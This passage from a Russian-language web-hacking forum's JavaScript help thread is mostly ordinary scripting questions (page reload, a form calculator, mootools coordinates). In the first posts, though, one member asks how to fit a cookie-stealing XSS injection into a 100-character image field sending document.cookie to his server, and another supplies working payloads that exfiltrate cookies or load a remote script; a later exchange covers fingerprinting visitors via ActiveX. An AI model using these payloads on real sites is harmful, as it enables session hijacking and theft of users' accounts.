[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    astrologer, повторю вопрос:
    есть такой код

    <img src="" id="q"/>
    <script>q.src="mysite.php?a="+document.cookie</script>

    Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src)
    а IE и Chrome загружает картинку влет, ну и конечно куки передаются

    теперь по теме ? :)

    а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
     
  2. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    q - это номер(id) элемента. а q.src это обращение к объекту q.
    Как минимум -

    <script language="JavaScript">
    q = document.getElementById("q");
    q.src="mysite.php?a="+document.cookie;</script>

    language на всякий случай
     
  3. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает.
    может тогда подскажите как лучше сделать ?
    вот есть такой код на странице:
    PHP:
    <img src="ССЫЛКА" alt="" />
    вместо ссылки можно подставить что угодно, но не более 100 символов

    сейчас я подставляю:
    "id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов
    // получается
    <img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" />

    как я уже сказал, работает, но не во всех броузерах :confused:
    может можно по другому как нибудь сделать
     
  4. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    "><script>(new Image).src='//example.com?'+document.cookie</script><br k="
    Code:
    "><script src="//example.com/script.js"></script><br k="
     
    #1044 astrologer, 16 Dec 2008
    Last edited: 16 Dec 2008
  5. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    astrologer, первый код не работает, не знаю почему,
    а со вторым кодом все ок :)
    только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js:
    document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random();
    но мне важнее чтобы в файрфоксе работало.
    спасибо
    всем
    :D
     
  6. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    использую mootools для определения координат элемента.

    Code:
    <script>
    window.addEvent('domready',function(){
    position = $('footer').getPosition();
    alert(position);
    })
    </script>
    Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
     
  7. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    может потому, что position это обьект, а обращаться в таком случае надо к его свойствам. имхо (с mootools мало работал, уважаю jquery)
     
  8. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Code:
    <script>
    window.addEvent('domready',function(){
    position = $('footer').getPosition();
    
    alert(position.x + "|||" + position.y);
    })
    </script>
    
     
    1 person likes this.
  9. aqqa

    aqqa Banned

    Joined:
    12 Jul 2008
    Messages:
    96
    Likes Received:
    16
    Reputations:
    3
    Как реализовать загрузку файлов(картнок и тпрочей...) на сервак средствами AJAX?
     
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    http://www.webtoolkit.info/ajax-file-upload.html
     
  11. aqqa

    aqqa Banned

    Joined:
    12 Jul 2008
    Messages:
    96
    Likes Received:
    16
    Reputations:
    3
    Спасибо дружище
     
  12. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    https://forum.antichat.ru/thread91504.html - вот лучше помогите с темой. Интересует например можно ли посредством стандартных активикс (бещ добавления своих, юзаниях сплойтов итд), js, flash и php пропалить чела за варей например. И какие параетры системы вообще можно пропалить через них?
     
  13. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    podkashey, можно использовать ActiveX, чтобы узнать много всякой инфы, например,
    http://www.devarticles.com/c/a/JavaScript/How-to-Use-JavaScript-for-Hardware-Knowledge/ - выдаст инфу о девайсах на компьютере.
    http://searchdomino.techtarget.com/tip/0,289483,sid4_gci1212258,00.html - получить имя пользователя компьютера.

    Объектов ActiveX достаточно много, это уже нужно смотреть, что в каких из них может отличаться в виртуалке и на реальной машине.


    Работа с файловой системой и реестром с помощью ActiveX неплохо описана в книге "Самоучитель JavaScript" Вадима Дунаева.

    Но работать такое будет только в ИЕ, и то, только если пользователь разрешит ActiveX (по умолчанию он не разрешён).

    Ну а всё остальное уже ответили в теме)
     
  14. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Как можно сделать чтобы яваскрипт страницу каждые там 5 секунд обновлял страницу? жлательно апсолютный пример...
     
  15. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    <script type="text/javascript">
    
    setTimeout(function()
    {
      document.location.reload();
    }, 5000);
    
    </script>
     
    1 person likes this.
  16. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Мне нужно написать JS но в JS я вообще не как....
    Помогите если не злажно.
    Будет 2 формы допустим "Кол-во" и "Итог"
    Когда вводишь в "Кол-во" число оно умнажается на 0,2 и выводится ответ в поле "Итог"
    И всё нужно в реальном времени, без кнопок всяких.
     
  17. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/xhtml1-loose.dtd">
    <
    html>
    <
    head>
    <
    title>Jaba</title>
    <
    script type="text/javascript">
        function 
    makeRes(n)
        {
            var 
    cnt=document.getElementById("count");
            var 
    result=document.getElementById("result");
            if(
    cnt.value!="")
            {
                
    result.value=n*cnt.value;
            }
            
        }
    </script>
    </head>
    <body>
    <input type="text" id="count" value="" onkeydown="makeRes(0.2)" />
    <input type="text" id="result" value="" />
    </body>
    </html>
    держи, делать надо таким образом, только порядок соблюдать, необходимые проверки сделай сам
     
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Byrger:

    PHP:
    <HTML
        <
    HEAD
        <
    TITLE>Пример вычисления</TITLE
        <
    SCRIPT LANGUAGE="JavaScript"
        
    ID window.setTimeout("Update();"1000); 
        function 
    Update() { 
       var 
    cnt=document.getElementById("input1"); 
      if(
    cnt.value!="")  
            {  
                
    result=0.2*cnt.value
                
    document.form1.input2.value result
            } 
       else  
    document.form1.input2.value 0;
       
    ID window.setTimeout("Update();"1000); 
       } 
       
    </SCRIPT> 
       </HEAD> 
       <BODY> 
       <H1>Пример вычисления</H1> 
       <HR> 
       Значение будет умножено на 0.2 
       <HR> 
       <FORM NAME="form1"> 
       <INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value="0"><INPUT TYPE="text" NAME="input2" SIZE="10"><BR> 
       </FORM> 
       <HR> 
       </BODY> 
       </HTML> 
     
    #1058 Pashkela, 24 Dec 2008
    Last edited: 24 Dec 2008
    1 person likes this.
  19. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    А как результат округлить до 2 нулей
    И отрицательные чтоб нельзя було вводить.

    И если в поле введено "0" то результат ="-"
     
    #1059 Byrger, 24 Dec 2008
    Last edited: 24 Dec 2008
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <HTML
        <
    HEAD
        <
    TITLE>Пример вычисления</TITLE
        <
    SCRIPT LANGUAGE="JavaScript"
        
    ID window.setTimeout("Update();"1000); 
       function 
    Update() { 
       var 
    cnt=document.getElementById("input1"); 
       if (
    cnt.value<0
       {
       
    alert('Только положительные числа!');
       
    document.form1.input1.value 0;
       }
       
       if(
    cnt.value!="")  
            {  
                
    result=0.2*cnt.value
                
    result result.toFixed(2);
                
    document.form1.input2.value result
            } 
       else  
    document.form1.input2.value "-";
       if (
    cnt.value==0
       {
       
    result="-";
       
    document.form1.input2.value result
       }
       
    ID window.setTimeout("Update();"1000); 
       }
       
    </SCRIPT> 
       </HEAD> 
       <BODY> 
       <H1>Пример вычисления</H1> 
       <HR> 
       Значение будет умножено на 0.2 
       <HR> 
       <FORM NAME="form1"> 
       <INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value=""><INPUT TYPE="text" NAME="input2" SIZE="10"><BR> 
       </FORM> 
       <HR> 
       </BODY> 
       </HTML> 
     
Thread Status:
Not open for further replies.